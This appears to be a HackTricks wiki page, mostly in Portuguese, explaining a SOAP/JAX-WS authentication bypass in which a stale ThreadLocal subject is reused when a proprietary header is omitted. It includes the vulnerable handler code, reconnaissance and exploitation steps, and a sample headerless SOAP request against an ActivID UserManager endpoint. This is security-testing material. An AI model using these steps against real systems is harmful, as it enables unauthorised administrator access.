SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
TL;DR
- Algumas cadeias de middleware armazenam o
Subject/Principalautenticado dentro de umThreadLocalestático e só o atualizam quando um cabeçalho SOAP proprietário chega. - Porque WebLogic/JBoss/GlassFish reciclam worker threads, remover esse cabeçalho faz com que o último
Subjectprivilegiado processado pela thread seja reutilizado silenciosamente. - Forceie o endpoint vulnerável com bodies SOAP sem cabeçalho, porém bem-formados, até que uma thread reutilizada lhe conceda o contexto de administrador roubado.
Root Cause
Handlers semelhantes ao seguinte apenas sobrescrevem a identidade thread-local quando o cabeçalho customizado está presente, então o contexto da requisição anterior sobrevive:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Reconhecimento
- Enumere as regras de reverse proxy / roteamento para localizar árvores SOAP ocultas que podem bloquear
?wsdlmas aceitar POSTs (mapeie-as junto ao fluxo em 80,443 - Pentesting Web Methodology). - Descompacte os artefatos EAR/WAR/EJB (
unzip *.ear) e inspecioneapplication.xml,web.xml, anotações@WebServicee handler chains (e.g.,LoginHandlerChain.xml) para descobrir a classe do handler, o QName do header SOAP e os nomes dos EJBs de suporte. - If metadata is missing, brute-force likely
ServiceName?wsdlpaths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as Burp Suite Wsdler to generate baseline envelopes. - Revise as fontes dos handlers em busca de mantenedores
ThreadLocal(e.g.,SubjectHolder.setSubject()) que nunca são limpos quando o cabeçalho de autenticação está ausente ou malformado.
Exploração
- Envie uma requisição válida com o cabeçalho proprietário para aprender os códigos de resposta normais e qualquer erro usado para tokens inválidos.
- Reenvie o mesmo body SOAP omitindo o cabeçalho. Mantenha o XML bem-formado e respeite os namespaces exigidos para que o handler saia limpo.
- Faça um loop da requisição; quando ela cair em uma thread que executou anteriormente uma ação privilegiada, o reutilizado
Subjectdesbloqueia operações protegidas como gerenciadores de usuários ou credenciais.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Validando o Bug
- Anexe JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) ou ganchos de depuração similares para observar o conteúdo deThreadLocalantes e depois de cada chamada, confirmando que uma requisição não autenticada herdou umSubjectde administrador anterior.
Referências
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


